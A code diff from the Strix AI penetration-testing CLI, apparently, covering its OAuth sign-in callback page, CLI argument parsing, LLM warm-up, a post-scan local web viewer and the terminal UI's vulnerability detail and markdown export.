"""A one-shot local HTTP server that catches the OAuth redirect."""
|
||||
|
||||
def __init__(self, httpd: HTTPServer, event: threading.Event, holder: dict[str, Any]) -> None:
|
||||
self._httpd = httpd
|
||||
self._event = event
|
||||
self._holder = holder
|
||||
self._thread = threading.Thread(target=httpd.serve_forever, daemon=True)
|
||||
self._thread.start()
|
||||
|
||||
def wait(self, timeout: float) -> tuple[str | None, str | None, str | None] | None:
|
||||
if not self._event.wait(timeout):
|
||||
return None
|
||||
return (
|
||||
self._holder.get("code"),
|
||||
self._holder.get("state"),
|
||||
self._holder.get("error"),
|
||||
)
|
||||
|
||||
def shutdown(self) -> None:
|
||||
self._httpd.shutdown()
|
||||
self._httpd.server_close()
|
||||
|
||||
|
||||
def _try_start_callback_server() -> _CallbackServer | None:
|
||||
event = threading.Event()
|
||||
holder: dict[str, Any] = {}
|
||||
|
||||
class Handler(BaseHTTPRequestHandler):
|
||||
def log_message(self, *args: Any) -> None: # silence default stderr logging
|
||||
pass
|
||||
|
||||
def do_GET(self) -> None:
|
||||
parsed = urlparse(self.path)
|
||||
if parsed.path != codex.CALLBACK_PATH:
|
||||
self.send_response(404)
|
||||
self.end_headers()
|
||||
return
|
||||
query = parse_qs(parsed.query)
|
||||
holder["code"] = _first(query, "code")
|
||||
holder["state"] = _first(query, "state")
|
||||
holder["error"] = _first(query, "error_description") or _first(query, "error")
|
||||
body = _render_callback_html().encode("utf-8")
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Type", "text/html; charset=utf-8")
|
||||
self.send_header("Content-Length", str(len(body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
event.set()
|
||||
|
||||
try:
|
||||
httpd = HTTPServer(("127.0.0.1", codex.CALLBACK_PORT), Handler)
|
||||
except OSError:
|
||||
logger.debug("could not bind callback port %d", codex.CALLBACK_PORT, exc_info=True)
|
||||
return None
|
||||
return _CallbackServer(httpd, event, holder)
|
||||
|
||||
|
||||
def _first(query: dict[str, list[str]], key: str) -> str | None:
|
||||
values = query.get(key)
|
||||
return values[0] if values else None
|
||||
|
||||
|
||||
def _status(console: Console) -> int:
|
||||
record = codex.read_record()
|
||||
if record is None:
|
||||
console.print("[yellow]Not signed in.[/] Run [cyan]strix auth login chatgpt[/] to sign in.")
|
||||
return 1
|
||||
settings = load_settings()
|
||||
console.print("[green]Signed in[/] with a ChatGPT subscription.")
|
||||
console.print(f" Account: [bold]{record.get('account_id')}[/]")
|
||||
if codex.subscription_model(settings.llm.model):
|
||||
console.print(f" Runs use the subscription (STRIX_LLM=[bold]{settings.llm.model}[/]).")
|
||||
else:
|
||||
console.print(
|
||||
" [yellow]Note:[/] set [cyan]STRIX_LLM[/] to e.g. [cyan]chatgpt/gpt-5.4[/] "
|
||||
"to run on the subscription."
|
||||
)
|
||||
return 0
|
||||
|
||||
|
||||
def _logout(console: Console) -> int:
|
||||
codex.logout()
|
||||
console.print("[green]Signed out.[/] Stored subscription credentials removed.")
|
||||
return 0
|
||||
|
||||
|
||||
def _fail(console: Console, exc: codex.CodexAuthError) -> int:
|
||||
error_text = Text()
|
||||
error_text.append("SIGN-IN FAILED", style="bold red")
|
||||
error_text.append("\n\n", style="white")
|
||||
error_text.append(f"{exc}", style="white")
|
||||
console.print()
|
||||
console.print(
|
||||
Panel(
|
||||
error_text,
|
||||
title="[bold white]STRIX",
|
||||
title_align="left",
|
||||
border_style="red",
|
||||
padding=(1, 2),
|
||||
)
|
||||
)
|
||||
return 1
|
||||
|
||||
|
||||
def _print_success(console: Console) -> None:
|
||||
text = Text()
|
||||
text.append("Signed in with your ChatGPT subscription", style="bold #22c55e")
|
||||
text.append("\n\n", style="white")
|
||||
text.append("Set ", style="white")
|
||||
text.append("STRIX_LLM", style="bold white")
|
||||
text.append(" to a ", style="white")
|
||||
text.append("chatgpt/", style="bold cyan")
|
||||
text.append(" model (e.g. ", style="white")
|
||||
text.append("chatgpt/gpt-5.4", style="bold cyan")
|
||||
text.append(") — runs are billed to your ChatGPT plan.", style="white")
|
||||
text.append("\n\n", style="white")
|
||||
text.append("Run a scan as usual, e.g. ", style="white")
|
||||
text.append("strix --target https://example.com", style="bold cyan")
|
||||
console.print()
|
||||
console.print(
|
||||
Panel(
|
||||
text,
|
||||
title="[bold white]STRIX",
|
||||
title_align="left",
|
||||
border_style="#22c55e",
|
||||
padding=(1, 2),
|
||||
)
|
||||
)
|
||||
console.print()
|
||||
|
||||
|
||||
_LOGO_PATH = Path(__file__).resolve().parent.parent / "viewer" / "static" / "logo.png"
|
||||
|
||||
|
||||
def _logo_img_tag() -> str:
|
||||
"""Return an ``<img>`` for the Strix logo as an inline data URI, or "".
|
||||
|
||||
The callback page is served offline by the local OAuth server, so the logo
|
||||
is embedded rather than linked. Missing/unreadable file degrades to just the
|
||||
"Strix" wordmark.
|
||||
"""
|
||||
try:
|
||||
data = _LOGO_PATH.read_bytes()
|
||||
except OSError:
|
||||
return ""
|
||||
encoded = base64.b64encode(data).decode("ascii")
|
||||
return f'<img class="logo" src="data:image/png;base64,{encoded}" alt="" />'
|
||||
|
||||
|
||||
def _render_callback_html() -> str:
|
||||
return _CALLBACK_HTML.replace("<!--LOGO-->", _logo_img_tag())
|
||||
|
||||
|
||||
_CALLBACK_HTML = """<!doctype html>
|
||||
<html lang="en"><head><meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>Strix — signed in</title>
|
||||
<style>
|
||||
:root { color-scheme: dark; }
|
||||
* { box-sizing: border-box; }
|
||||
body {
|
||||
margin: 0; min-height: 100vh; padding: 24px;
|
||||
font-family: 'Geist', 'Geist Sans', ui-sans-serif, system-ui, -apple-system,
|
||||
"Segoe UI", Roboto, Helvetica, Arial, sans-serif;
|
||||
-webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale;
|
||||
background: #000; color: #ededed;
|
||||
display: flex; flex-direction: column; align-items: center; justify-content: center;
|
||||
}
|
||||
.topbar {
|
||||
position: absolute; top: 20px; left: 22px;
|
||||
display: flex; align-items: center; gap: 6px; text-decoration: none;
|
||||
}
|
||||
.topbar .logo { width: 40px; height: 40px; display: block; }
|
||||
.topbar span {
|
||||
font-size: 1.1rem; font-weight: 600; letter-spacing: -.01em; color: #fff;
|
||||
transition: color .15s ease;
|
||||
}
|
||||
.topbar:hover span { color: #c9c9c9; }
|
||||
.brand {
|
||||
font-size: 2.1rem; font-weight: 700; letter-spacing: -.02em; color: #fff;
|
||||
text-align: center; margin: 0 0 10px;
|
||||
}
|
||||
h1 {
|
||||
font-size: 1.35rem; font-weight: 600; letter-spacing: -.01em; color: #f5f5f5;
|
||||
text-align: center; margin: 0 0 28px;
|
||||
}
|
||||
.card {
|
||||
width: 100%; max-width: 430px; text-align: center;
|
||||
background: #171717; border: 1px solid rgba(255, 255, 255, .06);
|
||||
border-radius: 24px; padding: 40px 40px 34px;
|
||||
}
|
||||
.badge {
|
||||
margin: 0 auto 22px; width: 52px; height: 52px; border-radius: 50%;
|
||||
display: flex; align-items: center; justify-content: center; font-size: 23px; color: #fff;
|
||||
background: rgba(255, 255, 255, .05); border: 1px solid rgba(255, 255, 255, .14);
|
||||
}
|
||||
.msg { margin: 0 auto; max-width: 34ch; color: #b5b5b5; line-height: 1.6; font-size: .98rem; }
|
||||
.rule { height: 1px; background: rgba(255, 255, 255, .07); margin: 26px 0 0; }
|
||||
.tagline { margin: 22px 0 0; color: #7c7c7c; font-size: .9rem; line-height: 1.55; }
|
||||
.tagline b { color: #ededed; font-weight: 500; }
|
||||
.links {
|
||||
margin-top: 18px; display: flex; gap: 8px; justify-content: center;
|
||||
align-items: center; flex-wrap: wrap; font-size: .84rem;
|
||||
}
|
||||
.links a { color: #a3a3a3; text-decoration: none; transition: color .15s ease; }
|
||||
.links a:hover { color: #fff; }
|
||||
.links .dot { color: #3a3a3a; }
|
||||
.close { margin: 24px 0 0; color: #5a5a5a; font-size: .78rem; text-align: center; }
|
||||
</style></head>
|
||||
<body>
|
||||
<a class="topbar" href="https://strix.ai" target="_blank" rel="noopener"
|
||||
aria-label="Strix — strix.ai">
|
||||
<!--LOGO-->
|
||||
<span>Strix</span>
|
||||
</a>
|
||||
<div class="brand">Strix</div>
|
||||
<h1>You're signed in</h1>
|
||||
<main class="card">
|
||||
<div class="badge">✓</div>
|
||||
<p class="msg">Strix is connected to your ChatGPT subscription. Head back to your
|
||||
terminal — your security test runs there.</p>
|
||||
<div class="rule"></div>
|
||||
<p class="tagline">Autonomous AI hackers that <b>find and fix</b> your app's
|
||||
vulnerabilities.</p>
|
||||
<nav class="links">
|
||||
<a href="https://strix.ai" target="_blank" rel="noopener">strix.ai</a>
|
||||
<span class="dot">·</span>
|
||||
<a href="https://docs.strix.ai" target="_blank" rel="noopener">docs</a>
|
||||
<span class="dot">·</span>
|
||||
<a href="https://discord.gg/strix-ai" target="_blank" rel="noopener">community</a>
|
||||
</nav>
|
||||
</main>
|
||||
<p class="close">You can close this tab.</p>
|
||||
</body></html>"""
|
||||
|
||||
|
||||
__all__ = ["run_auth"]
|
||||
@@ -13,7 +13,6 @@ from rich.panel import Panel
|
||||
from rich.text import Text
|
||||
|
||||
from strix.config import load_settings
|
||||
from strix.core.inputs import DEFAULT_MAX_TURNS
|
||||
from strix.core.runner import run_strix_scan
|
||||
from strix.report.state import ReportState, set_global_report_state
|
||||
from strix.runtime import session_manager
|
||||
@@ -185,7 +184,6 @@ async def run_cli(args: Any) -> None: # noqa: PLR0915
|
||||
local_sources=getattr(args, "local_sources", None) or [],
|
||||
interactive=bool(getattr(args, "interactive", False)),
|
||||
max_budget_usd=getattr(args, "max_budget_usd", None),
|
||||
max_turns=getattr(args, "max_turns", DEFAULT_MAX_TURNS),
|
||||
)
|
||||
finally:
|
||||
stop_updates.set()
|
||||
|
||||
+77
-182
@@ -5,9 +5,9 @@ Strix Agent Interface
|
||||
|
||||
import argparse
|
||||
import asyncio
|
||||
import os
|
||||
import shutil
|
||||
import sys
|
||||
import time
|
||||
from datetime import UTC, datetime
|
||||
from pathlib import Path
|
||||
|
||||
@@ -20,7 +20,6 @@ from rich.text import Text
|
||||
|
||||
from strix.config import (
|
||||
apply_config_override,
|
||||
codex,
|
||||
load_settings,
|
||||
persist_current,
|
||||
)
|
||||
@@ -31,17 +30,9 @@ from strix.config.models import (
|
||||
is_known_openai_bare_model,
|
||||
is_recommended_or_frontier_model,
|
||||
)
|
||||
from strix.core.inputs import DEFAULT_MAX_TURNS, make_model_settings
|
||||
from strix.core.paths import run_dir_for, runtime_state_dir
|
||||
from strix.interface.cli import run_cli
|
||||
from strix.interface.tui import run_tui
|
||||
from strix.interface.update_check import (
|
||||
is_binary_install,
|
||||
notify_update,
|
||||
prompt_update_if_available,
|
||||
self_update,
|
||||
start_background_check,
|
||||
)
|
||||
from strix.interface.utils import (
|
||||
assign_workspace_subdirs,
|
||||
build_final_stats_text,
|
||||
@@ -94,16 +85,6 @@ def validate_environment() -> None:
|
||||
|
||||
settings = load_settings()
|
||||
|
||||
if codex.subscription_model(settings.llm.model):
|
||||
if not codex.is_authenticated():
|
||||
console.print(
|
||||
f"[red]STRIX_LLM={settings.llm.model} uses your ChatGPT subscription, "
|
||||
"but you're not signed in.[/] Run [cyan]strix auth login chatgpt[/] first."
|
||||
)
|
||||
sys.exit(1)
|
||||
logger.info("Environment OK (ChatGPT subscription)")
|
||||
return
|
||||
|
||||
if not settings.llm.model:
|
||||
missing_required_vars.append("STRIX_LLM")
|
||||
|
||||
@@ -211,7 +192,7 @@ def validate_environment() -> None:
|
||||
padding=(1, 2),
|
||||
)
|
||||
|
||||
logger.debug("Missing required env vars: %s", missing_required_vars)
|
||||
logger.error("Missing required env vars: %s", missing_required_vars)
|
||||
console.print("\n")
|
||||
console.print(panel)
|
||||
console.print()
|
||||
@@ -224,7 +205,7 @@ def validate_environment() -> None:
|
||||
|
||||
def check_docker_installed() -> None:
|
||||
if shutil.which("docker") is None:
|
||||
logger.debug("Docker CLI not found in PATH")
|
||||
logger.error("Docker CLI not found in PATH")
|
||||
console = Console()
|
||||
error_text = Text()
|
||||
error_text.append("DOCKER NOT INSTALLED", style="bold red")
|
||||
@@ -286,29 +267,6 @@ def _provider_import_hint(exc: BaseException, model: str) -> str | None:
|
||||
return None
|
||||
|
||||
|
||||
def _subscription_error_hint(exc: BaseException) -> str | None:
|
||||
"""Return an actionable hint for a known ChatGPT-subscription error, or None."""
|
||||
if not codex.subscription_model(load_settings().llm.model):
|
||||
return None
|
||||
joined = " ".join(_exception_messages(exc)).lower()
|
||||
if "not supported when using codex with a chatgpt account" in joined:
|
||||
return (
|
||||
"This model isn't available on your ChatGPT subscription. "
|
||||
"Set STRIX_LLM to a model your plan includes (e.g. chatgpt/gpt-5.4)."
|
||||
)
|
||||
if (
|
||||
"error code: 401" in joined
|
||||
or "http 401" in joined
|
||||
or "unauthorized" in joined
|
||||
or "invalid_grant" in joined
|
||||
):
|
||||
return (
|
||||
"Your ChatGPT sign-in has expired or was revoked. Sign in again:\n"
|
||||
" strix auth login chatgpt"
|
||||
)
|
||||
return None
|
||||
|
||||
|
||||
async def warm_up_llm(show_model_warning: bool = True) -> None:
|
||||
console = Console()
|
||||
logger.info("Warming up LLM connection")
|
||||
@@ -318,8 +276,8 @@ async def warm_up_llm(show_model_warning: bool = True) -> None:
|
||||
settings = load_settings()
|
||||
configure_sdk_model_defaults(settings)
|
||||
llm = settings.llm
|
||||
raw_model = (llm.model or "").strip()
|
||||
|
||||
raw_model = (llm.model or "").strip()
|
||||
if (
|
||||
raw_model
|
||||
and "/" not in raw_model
|
||||
@@ -382,13 +340,7 @@ async def warm_up_llm(show_model_warning: bool = True) -> None:
|
||||
model.get_response(
|
||||
system_instructions="You are a helpful assistant.",
|
||||
input="Reply with just 'OK'.",
|
||||
model_settings=make_model_settings(
|
||||
None,
|
||||
model_name=raw_model,
|
||||
request_timeout=llm.timeout,
|
||||
prompt_cache=False,
|
||||
extra_headers=llm.extra_headers,
|
||||
),
|
||||
model_settings=ModelSettings(),
|
||||
tools=[],
|
||||
output_schema=None,
|
||||
handoffs=[],
|
||||
@@ -401,75 +353,23 @@ async def warm_up_llm(show_model_warning: bool = True) -> None:
|
||||
)
|
||||
logger.info("LLM warm-up succeeded for model %s", (llm.model or "").strip())
|
||||
|
||||
if settings.dedupe.model:
|
||||
from strix.report.dedupe import _dedupe_extra_args
|
||||
|
||||
dedupe_model = settings.dedupe.model.strip()
|
||||
raw_model = dedupe_model
|
||||
deduper = StrixProvider().get_model(dedupe_model)
|
||||
# Match the runtime path: send the dedupe key/endpoint per call so a
|
||||
# separate-provider dedupe model authenticates during warm-up too.
|
||||
deduper_extra = _dedupe_extra_args(settings.dedupe)
|
||||
# A dedicated dedupe model may route to another provider, which must
|
||||
# never receive the main endpoint's headers; it has its own
|
||||
# DEDUPE_LLM_EXTRA_HEADERS.
|
||||
deduper_settings = make_model_settings(
|
||||
None,
|
||||
model_name=dedupe_model,
|
||||
request_timeout=llm.timeout,
|
||||
prompt_cache=False,
|
||||
extra_headers=settings.dedupe.extra_headers,
|
||||
)
|
||||
if deduper_extra:
|
||||
merged = {**(deduper_settings.extra_args or {}), **deduper_extra}
|
||||
deduper_settings = deduper_settings.resolve(ModelSettings(extra_args=merged))
|
||||
await asyncio.wait_for(
|
||||
deduper.get_response(
|
||||
system_instructions="You are a helpful assistant.",
|
||||
input="Reply with just 'OK'.",
|
||||
model_settings=deduper_settings,
|
||||
tools=[],
|
||||
output_schema=None,
|
||||
handoffs=[],
|
||||
tracing=ModelTracing.DISABLED,
|
||||
previous_response_id=None,
|
||||
conversation_id=None,
|
||||
prompt=None,
|
||||
),
|
||||
timeout=llm.timeout,
|
||||
)
|
||||
logger.info("LLM warm-up succeeded for dedupe model %s", dedupe_model)
|
||||
|
||||
except Exception as e:
|
||||
logger.debug("LLM warm-up failed", exc_info=True)
|
||||
logger.exception("LLM warm-up failed")
|
||||
error_text = Text()
|
||||
sub_hint = _subscription_error_hint(e)
|
||||
if sub_hint is not None:
|
||||
# The model/backend answered with a clear, actionable rejection —
|
||||
# show that instead of a generic "connection failed".
|
||||
border_style = "yellow"
|
||||
error_text.append("MODEL NOT AVAILABLE ON SUBSCRIPTION", style="bold yellow")
|
||||
error_text.append("\n\n", style="white")
|
||||
error_text.append(f"{sub_hint}\n", style="white")
|
||||
error_text.append(f"\nDetails: {e}", style="dim white")
|
||||
else:
|
||||
border_style = "red"
|
||||
error_text.append("LLM CONNECTION FAILED", style="bold red")
|
||||
error_text.append("\n\n", style="white")
|
||||
error_text.append(
|
||||
"Could not establish connection to the language model.\n", style="white"
|
||||
)
|
||||
error_text.append("Please check your configuration and try again.\n", style="white")
|
||||
hint = _provider_import_hint(e, raw_model)
|
||||
if hint is not None:
|
||||
error_text.append(f"\n{hint}\n", style="bold yellow")
|
||||
error_text.append(f"\nError: {e}", style="dim white")
|
||||
error_text.append("LLM CONNECTION FAILED", style="bold red")
|
||||
error_text.append("\n\n", style="white")
|
||||
error_text.append("Could not establish connection to the language model.\n", style="white")
|
||||
error_text.append("Please check your configuration and try again.\n", style="white")
|
||||
hint = _provider_import_hint(e, raw_model)
|
||||
if hint is not None:
|
||||
error_text.append(f"\n{hint}\n", style="bold yellow")
|
||||
error_text.append(f"\nError: {e}", style="dim white")
|
||||
|
||||
panel = Panel(
|
||||
error_text,
|
||||
title="[bold white]STRIX",
|
||||
title_align="left",
|
||||
border_style=border_style,
|
||||
border_style="red",
|
||||
padding=(1, 2),
|
||||
)
|
||||
|
||||
@@ -500,16 +400,6 @@ def _positive_budget(value: str) -> float:
|
||||
return budget
|
||||
|
||||
|
||||
def _positive_int(value: str) -> int:
|
||||
try:
|
||||
parsed = int(value)
|
||||
except ValueError as exc:
|
||||
raise argparse.ArgumentTypeError(f"invalid int value: {value!r}") from exc
|
||||
if parsed <= 0:
|
||||
raise argparse.ArgumentTypeError("must be an integer greater than 0")
|
||||
return parsed
|
||||
|
||||
|
||||
def parse_arguments() -> argparse.Namespace:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Strix Multi-Agent Cybersecurity Penetration Testing Tool",
|
||||
@@ -558,14 +448,6 @@ Examples:
|
||||
version=f"strix {get_version()}",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--update",
|
||||
action="store_true",
|
||||
help="Update strix to the latest version and exit. Self-updates the "
|
||||
"standalone binary install; for pip/pipx/uv installs, prints the "
|
||||
"matching upgrade command instead.",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"-t",
|
||||
"--target",
|
||||
@@ -665,27 +547,10 @@ Examples:
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--max-budget",
|
||||
dest="max_budget_usd",
|
||||
metavar="USD",
|
||||
"--max-budget-usd",
|
||||
type=_positive_budget,
|
||||
default=None,
|
||||
help=(
|
||||
"Maximum LLM cost in USD (> 0). The scan stops cleanly when this limit is reached. "
|
||||
"Graduated wrap-up warnings are sent to all agents as it is approached."
|
||||
),
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--max-turns",
|
||||
dest="max_turns",
|
||||
metavar="N",
|
||||
type=_positive_int,
|
||||
default=DEFAULT_MAX_TURNS,
|
||||
help=(
|
||||
"Maximum turns per agent (> 0, default %(default)s). Each agent is force-stopped "
|
||||
"when it reaches this limit, with graduated wrap-up warnings as it is approached."
|
||||
),
|
||||
help="Maximum LLM cost in USD (> 0). The scan stops cleanly when this limit is reached.",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
@@ -701,9 +566,6 @@ Examples:
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.update:
|
||||
sys.exit(0 if self_update() else 1)
|
||||
|
||||
if args.instruction and args.instruction_file:
|
||||
parser.error(
|
||||
"Cannot specify both --instruction and --instruction-file. Use one or the other."
|
||||
@@ -802,7 +664,6 @@ def _persist_run_record(args: argparse.Namespace) -> None:
|
||||
"status": "running",
|
||||
"start_time": datetime.now(UTC).isoformat(),
|
||||
"end_time": None,
|
||||
"auth_mode": codex.auth_mode(load_settings().llm.model),
|
||||
"targets_info": args.targets_info,
|
||||
"scan_mode": args.scan_mode,
|
||||
"instruction": args.instruction,
|
||||
@@ -860,7 +721,9 @@ def _load_resume_state(args: argparse.Namespace, parser: argparse.ArgumentParser
|
||||
args.scan_mode = persisted_scan_mode
|
||||
|
||||
|
||||
def display_completion_message(args: argparse.Namespace, results_path: Path) -> None:
|
||||
def display_completion_message(
|
||||
args: argparse.Namespace, results_path: Path, web_url: str | None = None
|
||||
) -> None:
|
||||
console = Console()
|
||||
report_state = get_global_report_state()
|
||||
|
||||
@@ -899,12 +762,28 @@ def display_completion_message(args: argparse.Namespace, results_path: Path) ->
|
||||
results_text.append(str(results_path), style="#60a5fa")
|
||||
panel_parts.extend(["\n", results_text])
|
||||
|
||||
view_text = Text()
|
||||
view_text.append("\n")
|
||||
view_text.append("View", style="dim")
|
||||
view_text.append(" ")
|
||||
view_text.append(f"strix view {args.run_name}", style="#22c55e")
|
||||
panel_parts.extend(["\n", view_text])
|
||||
if web_url:
|
||||
web_text = Text()
|
||||
web_text.append("\n")
|
||||
web_text.append("View in web", style="dim")
|
||||
web_text.append(" ")
|
||||
# OSC-8 hyperlink: clickable in modern terminals, falls back to the URL.
|
||||
web_text.append(web_url, style=f"#60a5fa link {web_url}")
|
||||
panel_parts.extend(["\n", web_text])
|
||||
|
||||
reopen_text = Text()
|
||||
reopen_text.append("\n")
|
||||
reopen_text.append("Reopen", style="dim")
|
||||
reopen_text.append(" ")
|
||||
reopen_text.append(f"strix view {args.run_name}", style="#22c55e")
|
||||
panel_parts.extend(["\n", reopen_text])
|
||||
else:
|
||||
view_text = Text()
|
||||
view_text.append("\n")
|
||||
view_text.append("View", style="dim")
|
||||
view_text.append(" ")
|
||||
view_text.append(f"strix view {args.run_name}", style="#22c55e")
|
||||
panel_parts.extend(["\n", view_text])
|
||||
|
||||
if not scan_completed:
|
||||
resume_text = Text()
|
||||
@@ -935,8 +814,6 @@ def display_completion_message(args: argparse.Namespace, results_path: Path) ->
|
||||
"[#60a5fa]discord.gg/strix-ai[/]"
|
||||
)
|
||||
console.print()
|
||||
if not args.non_interactive:
|
||||
notify_update(console)
|
||||
|
||||
|
||||
def pull_docker_image() -> None:
|
||||
@@ -964,7 +841,7 @@ def pull_docker_image() -> None:
|
||||
last_update = process_pull_line(line, layers_info, status, last_update)
|
||||
|
||||
except DockerException as e:
|
||||
logger.debug("Failed to pull docker image %s", image, exc_info=True)
|
||||
logger.exception("Failed to pull docker image %s", image)
|
||||
console.print()
|
||||
error_text = Text()
|
||||
error_text.append("FAILED TO PULL IMAGE", style="bold red")
|
||||
@@ -998,29 +875,16 @@ def main() -> None:
|
||||
# `strix view [<run>]` is a viewer-only subcommand, dispatched before the
|
||||
# scan argument parser (which requires a target) and before any scan setup.
|
||||
if len(sys.argv) > 1 and sys.argv[1] == "view":
|
||||
from strix.interface.viewer.cli import run_view
|
||||
from strix.viewer.cli import run_view
|
||||
|
||||
run_view(sys.argv[2:])
|
||||
return
|
||||
|
||||
# `strix auth …` manages model-subscription sign-in and exits; it needs no
|
||||
# target, Docker, or scan setup.
|
||||
if len(sys.argv) > 1 and sys.argv[1] == "auth":
|
||||
from strix.interface.auth_cli import run_auth
|
||||
|
||||
sys.exit(run_auth(sys.argv[2:]))
|
||||
|
||||
args = parse_arguments()
|
||||
|
||||
if args.config:
|
||||
apply_config_override(validate_config_file(args.config))
|
||||
|
||||
start_background_check()
|
||||
if not args.non_interactive and prompt_update_if_available(Console()):
|
||||
if is_binary_install() and sys.platform != "win32":
|
||||
os.execv(sys.executable, sys.argv) # noqa: S606 # nosec B606
|
||||
sys.exit(0)
|
||||
|
||||
check_docker_installed()
|
||||
pull_docker_image()
|
||||
|
||||
@@ -1077,7 +941,6 @@ def main() -> None:
|
||||
|
||||
_telemetry_start_kwargs = {
|
||||
"model": load_settings().llm.model,
|
||||
"auth_mode": codex.auth_mode(load_settings().llm.model),
|
||||
"scan_mode": args.scan_mode,
|
||||
"is_whitebox": is_whitebox_scan(args.targets_info),
|
||||
"interactive": not args.non_interactive,
|
||||
@@ -1112,7 +975,39 @@ def main() -> None:
|
||||
|
||||
results_path = run_dir_for(args.run_name)
|
||||
|
||||
display_completion_message(args, results_path)
|
||||
# For an interactive run, host the local viewer so the completion panel can
|
||||
# show a clickable "View in web" link. Skipped in non-interactive/CI runs
|
||||
# (no TTY to serve and it would block the process).
|
||||
viewer_httpd = None
|
||||
web_url = None
|
||||
if not args.non_interactive and sys.stdout.isatty():
|
||||
from strix.viewer.server import authorized_url, bundle_is_built, serve
|
||||
|
||||
if bundle_is_built():
|
||||
try:
|
||||
viewer_httpd, base_url, token = serve(results_path, open_browser=False)
|
||||
# The completion panel's "View in web" link must authorize the
|
||||
# browser, so hand it the tokened URL rather than the bare host.
|
||||
web_url = authorized_url(base_url, token)
|
||||
posthog.viewer_opened(source="post_scan", live=False)
|
||||
except Exception:
|
||||
logger.debug("could not start local viewer", exc_info=True)
|
||||
viewer_httpd, web_url = None, None
|
||||
|
||||
display_completion_message(args, results_path, web_url=web_url)
|
||||
|
||||
if viewer_httpd is not None:
|
||||
console = Console()
|
||||
console.print("[dim]Hosting the local viewer. Press Ctrl-C to stop.[/]")
|
||||
console.print()
|
||||
try:
|
||||
while True:
|
||||
time.sleep(1)
|
||||
except KeyboardInterrupt:
|
||||
console.print("\n[dim]Viewer stopped.[/]")
|
||||
finally:
|
||||
viewer_httpd.shutdown()
|
||||
viewer_httpd.server_close()
|
||||
|
||||
if args.non_interactive:
|
||||
report_state = get_global_report_state()
|
||||
|
||||
+25
-77
@@ -15,7 +15,6 @@ from typing import TYPE_CHECKING, Any, ClassVar
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from pygments.token import _TokenType
|
||||
from textual.timer import Timer
|
||||
|
||||
from rich.align import Align
|
||||
@@ -35,7 +34,6 @@ from textual.widgets.tree import TreeNode
|
||||
from strix.config import load_settings
|
||||
from strix.config.models import is_recommended_or_frontier_model
|
||||
from strix.core.hooks import BudgetExceededError
|
||||
from strix.core.inputs import DEFAULT_MAX_TURNS
|
||||
from strix.core.runner import run_strix_scan
|
||||
from strix.interface.tui.live_view import TuiLiveView
|
||||
from strix.interface.tui.messages import send_user_message_to_agent
|
||||
@@ -44,12 +42,6 @@ from strix.interface.tui.renderers.agent_message_renderer import AgentMessageRen
|
||||
from strix.interface.tui.renderers.user_message_renderer import UserMessageRenderer
|
||||
from strix.interface.utils import build_tui_stats_text
|
||||
from strix.report.state import ReportState, set_global_report_state
|
||||
from strix.report.writer import (
|
||||
guess_language_name,
|
||||
parse_fenced_code,
|
||||
resolve_lexer,
|
||||
safe_fence,
|
||||
)
|
||||
from strix.runtime import session_manager
|
||||
|
||||
|
||||
@@ -338,11 +330,12 @@ class VulnerabilityDetailScreen(ModalScreen): # type: ignore[misc]
|
||||
return "#65a30d"
|
||||
return "#6b7280"
|
||||
|
||||
def _highlight_python(self, code: str, language: str | None = None) -> Text:
|
||||
def _highlight_python(self, code: str) -> Text:
|
||||
try:
|
||||
from pygments.lexers import PythonLexer
|
||||
from pygments.styles import get_style_by_name
|
||||
|
||||
lexer = resolve_lexer(language, code)
|
||||
lexer = PythonLexer()
|
||||
style = get_style_by_name("native")
|
||||
colors = {
|
||||
token: f"#{style_def['color']}" for token, style_def in style if style_def["color"]
|
||||
@@ -353,7 +346,7 @@ class VulnerabilityDetailScreen(ModalScreen): # type: ignore[misc]
|
||||
if not token_value:
|
||||
continue
|
||||
color = None
|
||||
tt: _TokenType | None = token_type
|
||||
tt = token_type
|
||||
while tt:
|
||||
if tt in colors:
|
||||
color = colors[tt]
|
||||
@@ -508,11 +501,10 @@ class VulnerabilityDetailScreen(ModalScreen): # type: ignore[misc]
|
||||
|
||||
poc_script_code = vuln.get("poc_script_code", "")
|
||||
if poc_script_code:
|
||||
poc_language, poc_code = parse_fenced_code(poc_script_code)
|
||||
text.append("\n\n")
|
||||
text.append("PoC Code", style=self.FIELD_STYLE)
|
||||
text.append("\n")
|
||||
text.append_text(self._highlight_python(poc_code, poc_language))
|
||||
text.append_text(self._highlight_python(poc_script_code))
|
||||
|
||||
remediation_steps = vuln.get("remediation_steps", "")
|
||||
if remediation_steps:
|
||||
@@ -609,12 +601,9 @@ class VulnerabilityDetailScreen(ModalScreen): # type: ignore[misc]
|
||||
lines.append(vuln["poc_description"])
|
||||
lines.append("")
|
||||
if vuln.get("poc_script_code"):
|
||||
poc_language, poc_code = parse_fenced_code(vuln["poc_script_code"])
|
||||
fence_lang = poc_language or guess_language_name(poc_code)
|
||||
fence = safe_fence(poc_code)
|
||||
lines.append(f"{fence}{fence_lang}")
|
||||
lines.append(poc_code)
|
||||
lines.append(fence)
|
||||
lines.append("```python")
|
||||
lines.append(vuln["poc_script_code"])
|
||||
lines.append("```")
|
||||
|
||||
if vuln.get("code_locations"):
|
||||
lines.extend(["", "## Code Analysis", ""])
|
||||
@@ -630,9 +619,7 @@ class VulnerabilityDetailScreen(ModalScreen): # type: ignore[misc]
|
||||
if loc.get("label"):
|
||||
lines.append(f" {loc['label']}")
|
||||
if loc.get("snippet"):
|
||||
snippet = str(loc["snippet"])
|
||||
snippet_fence = safe_fence(snippet)
|
||||
lines.append(f"{snippet_fence}\n{snippet}\n{snippet_fence}")
|
||||
lines.append(f"```\n{loc['snippet']}\n```")
|
||||
if loc.get("fix_before") or loc.get("fix_after"):
|
||||
lines.append("**Suggested Fix:**")
|
||||
lines.append("```diff")
|
||||
@@ -815,8 +802,6 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
